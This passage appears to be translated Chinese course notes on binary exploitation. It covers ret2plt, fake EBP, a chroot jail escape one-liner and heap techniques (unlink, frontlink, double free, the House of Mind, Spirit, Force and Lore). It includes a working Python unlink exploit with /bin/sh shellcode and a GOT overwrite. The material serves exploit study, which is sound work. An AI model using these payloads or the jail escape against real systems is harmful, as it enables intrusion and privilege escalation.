它会拦截对一些不安全函数的调用,并替换为安全函数。这不是标准化的(仅适用于 x86,不适用于使用 -fomit-frame-pointer 编译,不适用于静态编译,不是所有易受攻击的函数都会变得安全,LD_PRELOAD 在具有 suid 的二进制文件中无效)。
ASCII Armored Address Space
这意味着将共享库加载到 0x00000000 到 0x00ffffff 的地址空间,以便始终存在一个字节 0x00。然而,这实际上几乎无法阻止任何攻击,尤其是在 little endian 中。
ret2plt
这涉及执行 ROP,使其调用 plt 中的 strcpy@plt 函数,并指向 GOT 的条目,将要调用的函数的第一个字节(system())复制到那里。然后,再次指向 GOT+1,并复制 system() 的第二个字节... 最后调用保存在 GOT 中的地址,即 system()。
Falso EBP
对于使用 EBP 作为指向参数的寄存器的函数,通过修改 EIP 并指向 system(),还必须修改 EBP,使其指向一个具有任意两个字节的内存区域,然后指向 &"/bin/sh" 的地址。
使用 chroot() 创建牢笼
debootstrap -arch=i386 hardy /home/user —> 在特定子目录下安装基本系统
管理员可以通过执行以下操作来退出这些牢笼:mkdir foo; chroot foo; cd ..
代码插桩
Valgrind —> 查找错误
Memcheck
RAD(Return Address Defender)
Insure++
8 堆溢出:基础利用
已分配的块
prev_size |
size | —头部
*mem | 数据
空闲块
prev_size |
size |
*fd | 指向前向块的指针
*bk | 指向后向块的指针 —头部
*mem | 数据
空闲块以双向链表(bin)的形式存在,两个空闲块永远不会相邻(它们会合并)。
在“size”中有一些位用于指示:前一个块是否正在使用,块是否通过 mmap() 分配,块是否属于主要的 arena。
如果释放一个块后,相邻的块也是空闲的,则通过 unlink() 宏将它们合并,并将最大的新块传递给 frontlink(),以便将其插入适当的 bin 中。
unlink(){
BK = P->bk; —> 新块的 BK 是之前空闲块的 BK
FD = P->fd; —> 新块的 FD 是之前空闲块的 FD
FD->bk = BK; —> 下一个块的 BK 指向新块
BK->fd = FD; —> 前一个块的 FD 指向新块
}
因此,如果我们成功修改了 P->bk 为 shellcode 的地址,并将 P->fd 修改为 GOT 或 DTORS 中的地址减去 12,就可以实现:
BK = P->bk = &shellcode
FD = P->fd = &__dtor_end__ - 12
FD->bk = BK -> *((&__dtor_end__ - 12) + 12) = &shellcode
这样,在程序退出时将执行 shellcode。
此外,unlink() 的第四条语句会写入一些内容,因此 shellcode 必须为此做好准备:
BK->fd = FD -> *(&shellcode + 8) = (&__dtor_end__ - 12) —> 这会导致从 shellcode 的第 8 个字节开始写入 4 个字节,因此 shellcode 的第一条指令必须是跳转指令,以跳过这部分并进入后续的 shellcode。
因此,利用程序漏洞创建 exploit:
在 buffer1 中插入 shellcode,以跳转到 nops 或 shellcode 的其余部分。
在 shellcode 之后填充,直到达到下一个块的 prev_size 和 size 字段。在这些位置上放入 0xfffffff0(用于覆盖 prev_size 以使其具有指示前一个块空闲的位)和“-4”(0xfffffffc)在 size 中(以便在第三个块中检查第二个块是否为空时实际上转到修改后的 prev_size,该字段将告诉它第二个块为空)。因此,当 free() 进行检查时,它将转到第三个块的 size,但实际上将转到第二个块 - 4,并认为第二个块为空。然后调用 unlink()。
调用 unlink() 时,将使用第二个块的前几个数据作为 P->fd,因此将在那里放入要覆盖的地址 - 12(因为在 FD->bk 中将在 FD 中保存的地址加上 12)。在该地址中输入第二个块中找到的第二个地址,这将是我们希望的 shellcode 地址(伪造的 P->bk)。
from struct import *
import os
shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes of padding
shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
prev_size = pack("<I”, 0xfffffff0) #It's important that the bit indicating the previous block is free is set to 1
fake_size = pack("<I”, 0xfffffffc) #-4, so that when checking in the 3rd block if the 2nd was free it actually goes to the modified prev_size telling it that it's free
addr_sc = pack("<I", 0x0804a008 + 8) #In the payload we put 8 bytes of padding at the beginning
got_free = pack("<I", 0x08048300 - 12) #Address of free() in the plt-12 (will be the address that is overwritten to launch the shellcode the 2nd time free is called)
payload = "aaaabbbb" + shellcode + "b"*(512-len(shellcode)-8) # As said the payload starts with 8 bytes of padding because yes
payload += prev_size + fake_size + got_free + addr_sc #Modify the 2nd block, got_free points to where we are going to save the address addr_sc + 12
os.system("./8.3.o " + payload)
unset() releasing in reverse order (wargame)
我们控制 3 个连续的块,并按相反顺序释放它们。
在这种情况下:
在块 c 中放置 shellcode
将块 a 用于覆盖块 b,使其 size 字段的 PREV_INUSE 位失效,以便它认为块 a 是空闲的。
此外,在块 b 的头部中覆盖 size 以使其值为 -4。
然后,程序会认为“a”是空闲的,并在 bin 中,因此会调用 unlink() 来解除绑定。但是,由于块 a 的头部 PREV_SIZE 值为 -4。它会认为“a”实际上从 b+4 开始。也就是说,它会在 b+4 处执行 unlink(),因此在 b+12 处将是指针“fd”,在 b+16 处将是指针“bk”。
因此,如果在 bk 中放入 shellcode 的地址,并在 fd 中放入函数“puts()”-12 的地址,就可以创建有效载荷。
Frontlink 技术
当释放某些内容并且其连续块都不是空闲的时,不会调用 unlink(),而是直接调用 frontlink()。
这是一个有用的漏洞,当攻击的 malloc 从不被释放(free())时。需要:
一个可以通过输入数据进行溢出的缓冲区
与此相邻的一个可以被释放并且可以通过前一个缓冲区的溢出来修改其头部 fd 的缓冲区
一个比第 3 步中的缓冲区更大但小于前一个缓冲区的缓冲区
在第 3 步之前声明一个允许覆盖此前缓冲区的 prev_size 的缓冲区
通过这种方式,可以无序地覆盖两个 malloc,并在一个受控制的情况下无序地覆盖一个,但只释放其中一个,从而可以创建 exploit。
双重 free() 漏洞
如果两次使用相同指针调用 free(),则会有两个 bin 指向相同地址。
如果要再次使用一个,可以轻松分配。如果要使用另一个,则会分配相同的空间,因此会有伪造的 fd 和 bk 指针,这些指针将由前一个分配的数据写入。
free() 后漏洞
先前释放的指针在没有控制的情况下再次使用。
8 堆溢出:高级利用
Unlink() 和 FrontLink() 技术在修改 unlink() 函数时被删除。
The house of mind
只需一次调用 free() 即可执行任意代码。需要找到一个可以被前一个溢出的变量覆盖的 malloc 指针。
The house of spirit
需要:
- 可以溢出的堆块,使攻击者可以更改其指针(例如,指针位于可能溢出到变量下方的堆栈中)。
这样,我们可以使该指针指向任何地方。但并非所有位置都有效,修改的堆块大小必须小于 av->max_fast,并且必须等于将来的 malloc()+8 的请求大小。因此,如果我们知道在此指针下面调用 malloc(40),则修改的堆块大小必须等于 48。
如果程序要求用户输入数字,我们可以输入 48,并将 malloc 可修改的指针指向接下来的 4 个字节(可能属于 EBP,因此 48 位于后面,就像是 size 头部)。此外,ptr-4+48 的地址必须满足几个条件(在这种情况下,ptr=EBP),即 8 < ptr-4+48 < av->system_mem。
如果满足这些条件,当调用下一个 malloc 时,它将分配 EBP 的地址。如果攻击者还可以控制此 malloc 中写入的内容,可以同时覆盖 EBP 和 EIP,并将其设置为所需的地址。
这是因为当释放 free() 时,它会保存指向堆栈 EBP 的地址。如果攻击者还能够以某种方式(可能通过堆栈)在适当的地址写入 victim 的地址,以便看起来像一个真实的块。
The house of force
需要:
- 一个允许溢出到 wilderness 的堆块
- 一个由用户定义大小的 malloc() 调用
- 一个由用户定义数据的 malloc() 调用
首先要做的是将 wilderness 块的大小覆盖为非常大的值(0xffffffff),这样任何足够大的内存请求都将在 _int_malloc() 中处理,而无需扩展堆。
其次是修改 av->top,使其指向攻击者控制的内存区域,如堆栈。在 av->top 中放入 &EIP - 8。
必须覆盖 av->top 以指向攻击者控制的内存区域:
victim = av->top;
remainder = chunck_at_offset(victim, nb);
av->top = remainder;
Victim 获取当前 wilderness 块的地址(当前的 av->top),remainder 正好是该地址加上 malloc() 请求的字节数。因此,如果 &EIP-8 在 0xbffff224,av->top 包含 0x080c2788,则下一个 malloc() 的地址将是:
0xbffff224 - 0x080c2788 = 3086207644。
因此,修改的值将保存在 av->top 中,并且下一个 malloc 将指向 EIP,并且可以进行覆盖。
请注意,新释放的块的大小必须大于上一个 malloc() 的请求。也就是说,如果 wilderness 指向 &EIP-8,则 size 将正好位于堆栈的 EBP 头部。
The house of lore
SmallBin 污染
释放的块根据其大小放入 bin 中。